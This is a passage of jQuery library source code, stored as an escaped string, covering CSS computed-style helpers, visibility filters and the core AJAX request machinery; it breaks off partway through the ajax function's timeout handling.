1;\n\n\t\t\t// Set the alpha filter to set the opacity\n\t\t\tvar opacity = jQuery.isNaN( value ) ?\n\t\t\t\t\"\" :\n\t\t\t\t\"alpha(opacity=\" + value * 100 + \")\",\n\t\t\t\tfilter = currentStyle && currentStyle.filter || style.filter || \"\";\n\n\t\t\tstyle.filter = ralpha.test( filter ) ?\n\t\t\t\tfilter.replace( ralpha, opacity ) :\n\t\t\t\tfilter + \" \" + opacity;\n\t\t}\n\t};\n}\n\njQuery(function() {\n\t// This hook cannot be added until DOM ready because the support test\n\t// for it is not run until after DOM ready\n\tif ( !jQuery.support.reliableMarginRight ) {\n\t\tjQuery.cssHooks.marginRight = {\n\t\t\tget: function( elem, computed ) {\n\t\t\t\t// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right\n\t\t\t\t// Work around by temporarily setting element display to inline-block\n\t\t\t\tvar ret;\n\t\t\t\tjQuery.swap( elem, { \"display\": \"inline-block\" }, function() {\n\t\t\t\t\tif ( computed ) {\n\t\t\t\t\t\tret = curCSS( elem, \"margin-right\", \"marginRight\" );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tret = elem.style.marginRight;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t};\n\t}\n});\n\nif ( document.defaultView && document.defaultView.getComputedStyle ) {\n\tgetComputedStyle = function( elem, name ) {\n\t\tvar ret, defaultView, computedStyle;\n\n\t\tname = name.replace( rupper, \"-$1\" ).toLowerCase();\n\n\t\tif ( !(defaultView = elem.ownerDocument.defaultView) ) {\n\t\t\treturn undefined;\n\t\t}\n\n\t\tif ( (computedStyle = defaultView.getComputedStyle( elem, null )) ) {\n\t\t\tret = computedStyle.getPropertyValue( name );\n\t\t\tif ( ret === \"\" && !jQuery.contains( elem.ownerDocument.documentElement, elem ) ) {\n\t\t\t\tret = jQuery.style( elem, name );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t};\n}\n\nif ( document.documentElement.currentStyle ) {\n\tcurrentStyle = function( elem, name ) {\n\t\tvar left,\n\t\t\tret = elem.currentStyle && elem.currentStyle[ name ],\n\t\t\trsLeft = elem.runtimeStyle && elem.runtimeStyle[ name ],\n\t\t\tstyle = elem.style;\n\n\t\t// From the awesome hack by Dean Edwards\n\t\t// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291\n\n\t\t// If we're not dealing with a regular pixel number\n\t\t// but a number that has a weird ending, we need to convert it to pixels\n\t\tif ( !rnumpx.test( ret ) && rnum.test( ret ) ) {\n\t\t\t// Remember the original values\n\t\t\tleft = style.left;\n\n\t\t\t// Put in the new values to get a computed value out\n\t\t\tif ( rsLeft ) {\n\t\t\t\telem.runtimeStyle.left = elem.currentStyle.left;\n\t\t\t}\n\t\t\tstyle.left = name === \"fontSize\" ? \"1em\" : (ret || 0);\n\t\t\tret = style.pixelLeft + \"px\";\n\n\t\t\t// Revert the changed values\n\t\t\tstyle.left = left;\n\t\t\tif ( rsLeft ) {\n\t\t\t\telem.runtimeStyle.left = rsLeft;\n\t\t\t}\n\t\t}\n\n\t\treturn ret === \"\" ? \"auto\" : ret;\n\t};\n}\n\ncurCSS = getComputedStyle || currentStyle;\n\nfunction getWH( elem, name, extra ) {\n\tvar which = name === \"width\" ? cssWidth : cssHeight,\n\t\tval = name === \"width\" ? elem.offsetWidth : elem.offsetHeight;\n\n\tif ( extra === \"border\" ) {\n\t\treturn val;\n\t}\n\n\tjQuery.each( which, function() {\n\t\tif ( !extra ) {\n\t\t\tval -= parseFloat(jQuery.css( elem, \"padding\" + this )) || 0;\n\t\t}\n\n\t\tif ( extra === \"margin\" ) {\n\t\t\tval += parseFloat(jQuery.css( elem, \"margin\" + this )) || 0;\n\n\t\t} else {\n\t\t\tval -= parseFloat(jQuery.css( elem, \"border\" + this + \"Width\" )) || 0;\n\t\t}\n\t});\n\n\treturn val;\n}\n\nif ( jQuery.expr && jQuery.expr.filters ) {\n\tjQuery.expr.filters.hidden = function( elem ) {\n\t\tvar width = elem.offsetWidth,\n\t\t\theight = elem.offsetHeight;\n\n\t\treturn (width === 0 && height === 0) || (!jQuery.support.reliableHiddenOffsets && (elem.style.display || jQuery.css( elem, \"display\" )) === \"none\");\n\t};\n\n\tjQuery.expr.filters.visible = function( elem ) {\n\t\treturn !jQuery.expr.filters.hidden( elem );\n\t};\n}\n\n\n\n\nvar r20 = /%20/g,\n\trbracket = /\\[\\]$/,\n\trCRLF = /\\r?\\n/g,\n\trhash = /#.*$/,\n\trheaders = /^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/mg, // IE leaves an \\r character at EOL\n\trinput = /^(?:color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,\n\t// #7653, #8125, #8152: local protocol detection\n\trlocalProtocol = /^(?:about|app|app\\-storage|.+\\-extension|file|widget):$/,\n\trnoContent = /^(?:GET|HEAD)$/,\n\trprotocol = /^\\/\\//,\n\trquery = /\\?/,\n\trscript = /<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/gi,\n\trselectTextarea = /^(?:select|textarea)/i,\n\trspacesAjax = /\\s+/,\n\trts = /([?&])_=[^&]*/,\n\trurl = /^([\\w\\+\\.\\-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+))?)?/,\n\n\t// Keep a copy of the old load method\n\t_load = jQuery.fn.load,\n\n\t/* Prefilters\n\t * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)\n\t * 2) These are called:\n\t *    - BEFORE asking for a transport\n\t *    - AFTER param serialization (s.data is a string if s.processData is true)\n\t * 3) key is the dataType\n\t * 4) the catchall symbol \"*\" can be used\n\t * 5) execution will start with transport dataType and THEN continue down to \"*\" if needed\n\t */\n\tprefilters = {},\n\n\t/* Transports bindings\n\t * 1) key is the dataType\n\t * 2) the catchall symbol \"*\" can be used\n\t * 3) selection will start with transport dataType and THEN go to \"*\" if needed\n\t */\n\ttransports = {},\n\n\t// Document location\n\tajaxLocation,\n\n\t// Document location segments\n\tajaxLocParts;\n\n// #8138, IE may throw an exception when accessing\n// a field from window.location if document.domain has been set\ntry {\n\tajaxLocation = location.href;\n} catch( e ) {\n\t// Use the href attribute of an A element\n\t// since IE will modify it given document.location\n\tajaxLocation = document.createElement( \"a\" );\n\tajaxLocation.href = \"\";\n\tajaxLocation = ajaxLocation.href;\n}\n\n// Segment location into parts\najaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || [];\n\n// Base \"constructor\" for jQuery.ajaxPrefilter and jQuery.ajaxTransport\nfunction addToPrefiltersOrTransports( structure ) {\n\n\t// dataTypeExpression is optional and defaults to \"*\"\n\treturn function( dataTypeExpression, func ) {\n\n\t\tif ( typeof dataTypeExpression !== \"string\" ) {\n\t\t\tfunc = dataTypeExpression;\n\t\t\tdataTypeExpression = \"*\";\n\t\t}\n\n\t\tif ( jQuery.isFunction( func ) ) {\n\t\t\tvar dataTypes = dataTypeExpression.toLowerCase().split( rspacesAjax ),\n\t\t\t\ti = 0,\n\t\t\t\tlength = dataTypes.length,\n\t\t\t\tdataType,\n\t\t\t\tlist,\n\t\t\t\tplaceBefore;\n\n\t\t\t// For each dataType in the dataTypeExpression\n\t\t\tfor(; i < length; i++ ) {\n\t\t\t\tdataType = dataTypes[ i ];\n\t\t\t\t// We control if we're asked to add before\n\t\t\t\t// any existing element\n\t\t\t\tplaceBefore = /^\\+/.test( dataType );\n\t\t\t\tif ( placeBefore ) {\n\t\t\t\t\tdataType = dataType.substr( 1 ) || \"*\";\n\t\t\t\t}\n\t\t\t\tlist = structure[ dataType ] = structure[ dataType ] || [];\n\t\t\t\t// then we add to the structure accordingly\n\t\t\t\tlist[ placeBefore ? \"unshift\" : \"push\" ]( func );\n\t\t\t}\n\t\t}\n\t};\n}\n\n// Base inspection function for prefilters and transports\nfunction inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR,\n\t\tdataType /* internal */, inspected /* internal */ ) {\n\n\tdataType = dataType || options.dataTypes[ 0 ];\n\tinspected = inspected || {};\n\n\tinspected[ dataType ] = true;\n\n\tvar list = structure[ dataType ],\n\t\ti = 0,\n\t\tlength = list ? list.length : 0,\n\t\texecuteOnly = ( structure === prefilters ),\n\t\tselection;\n\n\tfor(; i < length && ( executeOnly || !selection ); i++ ) {\n\t\tselection = list[ i ]( options, originalOptions, jqXHR );\n\t\t// If we got redirected to another dataType\n\t\t// we try there if executing only and not done already\n\t\tif ( typeof selection === \"string\" ) {\n\t\t\tif ( !executeOnly || inspected[ selection ] ) {\n\t\t\t\tselection = undefined;\n\t\t\t} else {\n\t\t\t\toptions.dataTypes.unshift( selection );\n\t\t\t\tselection = inspectPrefiltersOrTransports(\n\t\t\t\t\t\tstructure, options, originalOptions, jqXHR, selection, inspected );\n\t\t\t}\n\t\t}\n\t}\n\t// If we're only executing or nothing was selected\n\t// we try the catchall dataType if not done already\n\tif ( ( executeOnly || !selection ) && !inspected[ \"*\" ] ) {\n\t\tselection = inspectPrefiltersOrTransports(\n\t\t\t\tstructure, options, originalOptions, jqXHR, \"*\", inspected );\n\t}\n\t// unnecessary when only executing (prefilters)\n\t// but it'll be ignored by the caller in that case\n\treturn selection;\n}\n\njQuery.fn.extend({\n\tload: function( url, params, callback ) {\n\t\tif ( typeof url !== \"string\" && _load ) {\n\t\t\treturn _load.apply( this, arguments );\n\n\t\t// Don't do a request if no elements are being requested\n\t\t} else if ( !this.length ) {\n\t\t\treturn this;\n\t\t}\n\n\t\tvar off = url.indexOf( \" \" );\n\t\tif ( off >= 0 ) {\n\t\t\tvar selector = url.slice( off, url.length );\n\t\t\turl = url.slice( 0, off );\n\t\t}\n\n\t\t// Default to a GET request\n\t\tvar type = \"GET\";\n\n\t\t// If the second parameter was provided\n\t\tif ( params ) {\n\t\t\t// If it's a function\n\t\t\tif ( jQuery.isFunction( params ) ) {\n\t\t\t\t// We assume that it's the callback\n\t\t\t\tcallback = params;\n\t\t\t\tparams = undefined;\n\n\t\t\t// Otherwise, build a param string\n\t\t\t} else if ( typeof params === \"object\" ) {\n\t\t\t\tparams = jQuery.param( params, jQuery.ajaxSettings.traditional );\n\t\t\t\ttype = \"POST\";\n\t\t\t}\n\t\t}\n\n\t\tvar self = this;\n\n\t\t// Request the remote document\n\t\tjQuery.ajax({\n\t\t\turl: url,\n\t\t\ttype: type,\n\t\t\tdataType: \"html\",\n\t\t\tdata: params,\n\t\t\t// Complete callback (responseText is used internally)\n\t\t\tcomplete: function( jqXHR, status, responseText ) {\n\t\t\t\t// Store the response as specified by the jqXHR object\n\t\t\t\tresponseText = jqXHR.responseText;\n\t\t\t\t// If successful, inject the HTML into all the matched elements\n\t\t\t\tif ( jqXHR.isResolved() ) {\n\t\t\t\t\t// #4825: Get the actual response in case\n\t\t\t\t\t// a dataFilter is present in ajaxSettings\n\t\t\t\t\tjqXHR.done(function( r ) {\n\t\t\t\t\t\tresponseText = r;\n\t\t\t\t\t});\n\t\t\t\t\t// See if a selector was specified\n\t\t\t\t\tself.html( selector ?\n\t\t\t\t\t\t// Create a dummy div to hold the results\n\t\t\t\t\t\tjQuery(\"<div>\")\n\t\t\t\t\t\t\t// inject the contents of the document in, removing the scripts\n\t\t\t\t\t\t\t// to avoid any 'Permission Denied' errors in IE\n\t\t\t\t\t\t\t.append(responseText.replace(rscript, \"\"))\n\n\t\t\t\t\t\t\t// Locate the specified elements\n\t\t\t\t\t\t\t.find(selector) :\n\n\t\t\t\t\t\t// If not, just inject the full result\n\t\t\t\t\t\tresponseText );\n\t\t\t\t}\n\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tself.each( callback, [ responseText, status, jqXHR ] );\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\treturn this;\n\t},\n\n\tserialize: function() {\n\t\treturn jQuery.param( this.serializeArray() );\n\t},\n\n\tserializeArray: function() {\n\t\treturn this.map(function(){\n\t\t\treturn this.elements ? jQuery.makeArray( this.elements ) : this;\n\t\t})\n\t\t.filter(function(){\n\t\t\treturn this.name && !this.disabled &&\n\t\t\t\t( this.checked || rselectTextarea.test( this.nodeName ) ||\n\t\t\t\t\trinput.test( this.type ) );\n\t\t})\n\t\t.map(function( i, elem ){\n\t\t\tvar val = jQuery( this ).val();\n\n\t\t\treturn val == null ?\n\t\t\t\tnull :\n\t\t\t\tjQuery.isArray( val ) ?\n\t\t\t\t\tjQuery.map( val, function( val, i ){\n\t\t\t\t\t\treturn { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t\t\t\t}) :\n\t\t\t\t\t{ name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t}).get();\n\t}\n});\n\n// Attach a bunch of functions for handling common AJAX events\njQuery.each( \"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split( \" \" ), function( i, o ){\n\tjQuery.fn[ o ] = function( f ){\n\t\treturn this.bind( o, f );\n\t};\n});\n\njQuery.each( [ \"get\", \"post\" ], function( i, method ) {\n\tjQuery[ method ] = function( url, data, callback, type ) {\n\t\t// shift arguments if data argument was omitted\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\ttype = type || callback;\n\t\t\tcallback = data;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\treturn jQuery.ajax({\n\t\t\ttype: method,\n\t\t\turl: url,\n\t\t\tdata: data,\n\t\t\tsuccess: callback,\n\t\t\tdataType: type\n\t\t});\n\t};\n});\n\njQuery.extend({\n\n\tgetScript: function( url, callback ) {\n\t\treturn jQuery.get( url, undefined, callback, \"script\" );\n\t},\n\n\tgetJSON: function( url, data, callback ) {\n\t\treturn jQuery.get( url, data, callback, \"json\" );\n\t},\n\n\t// Creates a full fledged settings object into target\n\t// with both ajaxSettings and settings fields.\n\t// If target is omitted, writes into ajaxSettings.\n\tajaxSetup: function ( target, settings ) {\n\t\tif ( !settings ) {\n\t\t\t// Only one parameter, we extend ajaxSettings\n\t\t\tsettings = target;\n\t\t\ttarget = jQuery.extend( true, jQuery.ajaxSettings, settings );\n\t\t} else {\n\t\t\t// target was provided, we extend into it\n\t\t\tjQuery.extend( true, target, jQuery.ajaxSettings, settings );\n\t\t}\n\t\t// Flatten fields we don't want deep extended\n\t\tfor( var field in { context: 1, url: 1 } ) {\n\t\t\tif ( field in settings ) {\n\t\t\t\ttarget[ field ] = settings[ field ];\n\t\t\t} else if( field in jQuery.ajaxSettings ) {\n\t\t\t\ttarget[ field ] = jQuery.ajaxSettings[ field ];\n\t\t\t}\n\t\t}\n\t\treturn target;\n\t},\n\n\tajaxSettings: {\n\t\turl: ajaxLocation,\n\t\tisLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ),\n\t\tglobal: true,\n\t\ttype: \"GET\",\n\t\tcontentType: \"application/x-www-form-urlencoded\",\n\t\tprocessData: true,\n\t\tasync: true,\n\t\t/*\n\t\ttimeout: 0,\n\t\tdata: null,\n\t\tdataType: null,\n\t\tusername: null,\n\t\tpassword: null,\n\t\tcache: null,\n\t\ttraditional: false,\n\t\theaders: {},\n\t\t*/\n\n\t\taccepts: {\n\t\t\txml: \"application/xml, text/xml\",\n\t\t\thtml: \"text/html\",\n\t\t\ttext: \"text/plain\",\n\t\t\tjson: \"application/json, text/javascript\",\n\t\t\t\"*\": \"*/*\"\n\t\t},\n\n\t\tcontents: {\n\t\t\txml: /xml/,\n\t\t\thtml: /html/,\n\t\t\tjson: /json/\n\t\t},\n\n\t\tresponseFields: {\n\t\t\txml: \"responseXML\",\n\t\t\ttext: \"responseText\"\n\t\t},\n\n\t\t// List of data converters\n\t\t// 1) key format is \"source_type destination_type\" (a single space in-between)\n\t\t// 2) the catchall symbol \"*\" can be used for source_type\n\t\tconverters: {\n\n\t\t\t// Convert anything to text\n\t\t\t\"* text\": window.String,\n\n\t\t\t// Text to html (true = no transformation)\n\t\t\t\"text html\": true,\n\n\t\t\t// Evaluate text as a json expression\n\t\t\t\"text json\": jQuery.parseJSON,\n\n\t\t\t// Parse text as xml\n\t\t\t\"text xml\": jQuery.parseXML\n\t\t}\n\t},\n\n\tajaxPrefilter: addToPrefiltersOrTransports( prefilters ),\n\tajaxTransport: addToPrefiltersOrTransports( transports ),\n\n\t// Main method\n\tajax: function( url, options ) {\n\n\t\t// If url is an object, simulate pre-1.5 signature\n\t\tif ( typeof url === \"object\" ) {\n\t\t\toptions = url;\n\t\t\turl = undefined;\n\t\t}\n\n\t\t// Force options to be an object\n\t\toptions = options || {};\n\n\t\tvar // Create the final options object\n\t\t\ts = jQuery.ajaxSetup( {}, options ),\n\t\t\t// Callbacks context\n\t\t\tcallbackContext = s.context || s,\n\t\t\t// Context for global events\n\t\t\t// It's the callbackContext if one was provided in the options\n\t\t\t// and if it's a DOM node or a jQuery collection\n\t\t\tglobalEventContext = callbackContext !== s &&\n\t\t\t\t( callbackContext.nodeType || callbackContext instanceof jQuery ) ?\n\t\t\t\t\t\tjQuery( callbackContext ) : jQuery.event,\n\t\t\t// Deferreds\n\t\t\tdeferred = jQuery.Deferred(),\n\t\t\tcompleteDeferred = jQuery._Deferred(),\n\t\t\t// Status-dependent callbacks\n\t\t\tstatusCode = s.statusCode || {},\n\t\t\t// ifModified key\n\t\t\tifModifiedKey,\n\t\t\t// Headers (they are sent all at once)\n\t\t\trequestHeaders = {},\n\t\t\trequestHeadersNames = {},\n\t\t\t// Response headers\n\t\t\tresponseHeadersString,\n\t\t\tresponseHeaders,\n\t\t\t// transport\n\t\t\ttransport,\n\t\t\t// timeout handle\n\t\t\ttimeoutTimer,\n\t\t\t// Cross-domain detection vars\n\t\t\tparts,\n\t\t\t// The jqXHR state\n\t\t\tstate = 0,\n\t\t\t// To know if global events are to be dispatched\n\t\t\tfireGlobals,\n\t\t\t// Loop variable\n\t\t\ti,\n\t\t\t// Fake xhr\n\t\t\tjqXHR = {\n\n\t\t\t\treadyState: 0,\n\n\t\t\t\t// Caches the header\n\t\t\t\tsetRequestHeader: function( name, value ) {\n\t\t\t\t\tif ( !state ) {\n\t\t\t\t\t\tvar lname = name.toLowerCase();\n\t\t\t\t\t\tname = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;\n\t\t\t\t\t\trequestHeaders[ name ] = value;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Raw string\n\t\t\t\tgetAllResponseHeaders: function() {\n\t\t\t\t\treturn state === 2 ? responseHeadersString : null;\n\t\t\t\t},\n\n\t\t\t\t// Builds headers hashtable if needed\n\t\t\t\tgetResponseHeader: function( key ) {\n\t\t\t\t\tvar match;\n\t\t\t\t\tif ( state === 2 ) {\n\t\t\t\t\t\tif ( !responseHeaders ) {\n\t\t\t\t\t\t\tresponseHeaders = {};\n\t\t\t\t\t\t\twhile( ( match = rheaders.exec( responseHeadersString ) ) ) {\n\t\t\t\t\t\t\t\tresponseHeaders[ match[1].toLowerCase() ] = match[ 2 ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmatch = responseHeaders[ key.toLowerCase() ];\n\t\t\t\t\t}\n\t\t\t\t\treturn match === undefined ? null : match;\n\t\t\t\t},\n\n\t\t\t\t// Overrides response content-type header\n\t\t\t\toverrideMimeType: function( type ) {\n\t\t\t\t\tif ( !state ) {\n\t\t\t\t\t\ts.mimeType = type;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Cancel the request\n\t\t\t\tabort: function( statusText ) {\n\t\t\t\t\tstatusText = statusText || \"abort\";\n\t\t\t\t\tif ( transport ) {\n\t\t\t\t\t\ttransport.abort( statusText );\n\t\t\t\t\t}\n\t\t\t\t\tdone( 0, statusText );\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t};\n\n\t\t// Callback for when everything is done\n\t\t// It is defined here because jslint complains if it is declared\n\t\t// at the end of the function (which would be more logical and readable)\n\t\tfunction done( status, statusText, responses, headers ) {\n\n\t\t\t// Called once\n\t\t\tif ( state === 2 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// State is \"done\" now\n\t\t\tstate = 2;\n\n\t\t\t// Clear timeout if it exists\n\t\t\tif ( timeoutTimer ) {\n\t\t\t\tclearTimeout( timeoutTimer );\n\t\t\t}\n\n\t\t\t// Dereference transport for early garbage collection\n\t\t\t// (no matter how long the jqXHR object will be used)\n\t\t\ttransport = undefined;\n\n\t\t\t// Cache response headers\n\t\t\tresponseHeadersString = headers || \"\";\n\n\t\t\t// Set readyState\n\t\t\tjqXHR.readyState = status ? 4 : 0;\n\n\t\t\tvar isSuccess,\n\t\t\t\tsuccess,\n\t\t\t\terror,\n\t\t\t\tresponse = responses ? ajaxHandleResponses( s, jqXHR, responses ) : undefined,\n\t\t\t\tlastModified,\n\t\t\t\tetag;\n\n\t\t\t// If successful, handle type chaining\n\t\t\tif ( status >= 200 && status < 300 || status === 304 ) {\n\n\t\t\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\t\t\tif ( s.ifModified ) {\n\n\t\t\t\t\tif ( ( lastModified = jqXHR.getResponseHeader( \"Last-Modified\" ) ) ) {\n\t\t\t\t\t\tjQuery.lastModified[ ifModifiedKey ] = lastModified;\n\t\t\t\t\t}\n\t\t\t\t\tif ( ( etag = jqXHR.getResponseHeader( \"Etag\" ) ) ) {\n\t\t\t\t\t\tjQuery.etag[ ifModifiedKey ] = etag;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// If not modified\n\t\t\t\tif ( status === 304 ) {\n\n\t\t\t\t\tstatusText = \"notmodified\";\n\t\t\t\t\tisSuccess = true;\n\n\t\t\t\t// If we have data\n\t\t\t\t} else {\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tsuccess = ajaxConvert( s, response );\n\t\t\t\t\t\tstatusText = \"success\";\n\t\t\t\t\t\tisSuccess = true;\n\t\t\t\t\t} catch(e) {\n\t\t\t\t\t\t// We have a parsererror\n\t\t\t\t\t\tstatusText = \"parsererror\";\n\t\t\t\t\t\terror = e;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// We extract error from statusText\n\t\t\t\t// then normalize statusText and status for non-aborts\n\t\t\t\terror = statusText;\n\t\t\t\tif( !statusText || status ) {\n\t\t\t\t\tstatusText = \"error\";\n\t\t\t\t\tif ( status < 0 ) {\n\t\t\t\t\t\tstatus = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set data for the fake xhr object\n\t\t\tjqXHR.status = status;\n\t\t\tjqXHR.statusText = statusText;\n\n\t\t\t// Success/Error\n\t\t\tif ( isSuccess ) {\n\t\t\t\tdeferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );\n\t\t\t} else {\n\t\t\t\tdeferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );\n\t\t\t}\n\n\t\t\t// Status-dependent callbacks\n\t\t\tjqXHR.statusCode( statusCode );\n\t\t\tstatusCode = undefined;\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajax\" + ( isSuccess ? \"Success\" : \"Error\" ),\n\t\t\t\t\t\t[ jqXHR, s, isSuccess ? success : error ] );\n\t\t\t}\n\n\t\t\t// Complete\n\t\t\tcompleteDeferred.resolveWith( callbackContext, [ jqXHR, statusText ] );\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxComplete\", [ jqXHR, s] );\n\t\t\t\t// Handle the global AJAX counter\n\t\t\t\tif ( !( --jQuery.active ) ) {\n\t\t\t\t\tjQuery.event.trigger( \"ajaxStop\" );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Attach deferreds\n\t\tdeferred.promise( jqXHR );\n\t\tjqXHR.success = jqXHR.done;\n\t\tjqXHR.error = jqXHR.fail;\n\t\tjqXHR.complete = completeDeferred.done;\n\n\t\t// Status-dependent callbacks\n\t\tjqXHR.statusCode = function( map ) {\n\t\t\tif ( map ) {\n\t\t\t\tvar tmp;\n\t\t\t\tif ( state < 2 ) {\n\t\t\t\t\tfor( tmp in map ) {\n\t\t\t\t\t\tstatusCode[ tmp ] = [ statusCode[tmp], map[tmp] ];\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\ttmp = map[ jqXHR.status ];\n\t\t\t\t\tjqXHR.then( tmp, tmp );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn this;\n\t\t};\n\n\t\t// Remove hash character (#7531: and string promotion)\n\t\t// Add protocol if not provided (#5866: IE7 issue with protocol-less urls)\n\t\t// We also use the url parameter if available\n\t\ts.url = ( ( url || s.url ) + \"\" ).replace( rhash, \"\" ).replace( rprotocol, ajaxLocParts[ 1 ] + \"//\" );\n\n\t\t// Extract dataTypes list\n\t\ts.dataTypes = jQuery.trim( s.dataType || \"*\" ).toLowerCase().split( rspacesAjax );\n\n\t\t// Determine if a cross-domain request is in order\n\t\tif ( s.crossDomain == null ) {\n\t\t\tparts = rurl.exec( s.url.toLowerCase() );\n\t\t\ts.crossDomain = !!( parts &&\n\t\t\t\t( parts[ 1 ] != ajaxLocParts[ 1 ] || parts[ 2 ] != ajaxLocParts[ 2 ] ||\n\t\t\t\t\t( parts[ 3 ] || ( parts[ 1 ] === \"http:\" ? 80 : 443 ) ) !=\n\t\t\t\t\t\t( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === \"http:\" ? 80 : 443 ) ) )\n\t\t\t);\n\t\t}\n\n\t\t// Convert data if not already a string\n\t\tif ( s.data && s.processData && typeof s.data !== \"string\" ) {\n\t\t\ts.data = jQuery.param( s.data, s.traditional );\n\t\t}\n\n\t\t// Apply prefilters\n\t\tinspectPrefiltersOrTransports( prefilters, s, options, jqXHR );\n\n\t\t// If request was aborted inside a prefiler, stop there\n\t\tif ( state === 2 ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// We can fire global events as of now if asked to\n\t\tfireGlobals = s.global;\n\n\t\t// Uppercase the type\n\t\ts.type = s.type.toUpperCase();\n\n\t\t// Determine if request has content\n\t\ts.hasContent = !rnoContent.test( s.type );\n\n\t\t// Watch for a new set of requests\n\t\tif ( fireGlobals && jQuery.active++ === 0 ) {\n\t\t\tjQuery.event.trigger( \"ajaxStart\" );\n\t\t}\n\n\t\t// More options handling for requests with no content\n\t\tif ( !s.hasContent ) {\n\n\t\t\t// If data is available, append data to url\n\t\t\tif ( s.data ) {\n\t\t\t\ts.url += ( rquery.test( s.url ) ? \"&\" : \"?\" ) + s.data;\n\t\t\t}\n\n\t\t\t// Get ifModifiedKey before adding the anti-cache parameter\n\t\t\tifModifiedKey = s.url;\n\n\t\t\t// Add anti-cache in url if needed\n\t\t\tif ( s.cache === false ) {\n\n\t\t\t\tvar ts = jQuery.now(),\n\t\t\t\t\t// try replacing _= if it is there\n\t\t\t\t\tret = s.url.replace( rts, \"$1_=\" + ts );\n\n\t\t\t\t// if nothing was replaced, add timestamp to the end\n\t\t\t\ts.url = ret + ( (ret === s.url ) ? ( rquery.test( s.url ) ? \"&\" : \"?\" ) + \"_=\" + ts : \"\" );\n\t\t\t}\n\t\t}\n\n\t\t// Set the correct header, if data is being sent\n\t\tif ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {\n\t\t\tjqXHR.setRequestHeader( \"Content-Type\", s.contentType );\n\t\t}\n\n\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\tif ( s.ifModified ) {\n\t\t\tifModifiedKey = ifModifiedKey || s.url;\n\t\t\tif ( jQuery.lastModified[ ifModifiedKey ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-Modified-Since\", jQuery.lastModified[ ifModifiedKey ] );\n\t\t\t}\n\t\t\tif ( jQuery.etag[ ifModifiedKey ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-None-Match\", jQuery.etag[ ifModifiedKey ] );\n\t\t\t}\n\t\t}\n\n\t\t// Set the Accepts header for the server, depending on the dataType\n\t\tjqXHR.setRequestHeader(\n\t\t\t\"Accept\",\n\t\t\ts.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ?\n\t\t\t\ts.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== \"*\" ? \", */*; q=0.01\" : \"\" ) :\n\t\t\t\ts.accepts[ \"*\" ]\n\t\t);\n\n\t\t// Check for headers option\n\t\tfor ( i in s.headers ) {\n\t\t\tjqXHR.setRequestHeader( i, s.headers[ i ] );\n\t\t}\n\n\t\t// Allow custom headers/mimetypes and early abort\n\t\tif ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {\n\t\t\t\t// Abort if not done already\n\t\t\t\tjqXHR.abort();\n\t\t\t\treturn false;\n\n\t\t}\n\n\t\t// Install callbacks on deferreds\n\t\tfor ( i in { success: 1, error: 1, complete: 1 } ) {\n\t\t\tjqXHR[ i ]( s[ i ] );\n\t\t}\n\n\t\t// Get transport\n\t\ttransport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );\n\n\t\t// If no transport, we auto-abort\n\t\tif ( !transport ) {\n\t\t\tdone( -1, \"No Transport\" );\n\t\t} else {\n\t\t\tjqXHR.readyState = 1;\n\t\t\t// Send global event\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxSend\", [ jqXHR, s ] );\n\t\t\t}\n\t\t\t// Timeout\n\t\t\tif ( s.async && s.timeout > 0 ) {\n\t\t\t\ttimeoutTimer = setTimeout( function(){\n\t\t\t\t\tjqXHR.abort( \"timeout\" );\n\t\t\t\t}, s.timeout 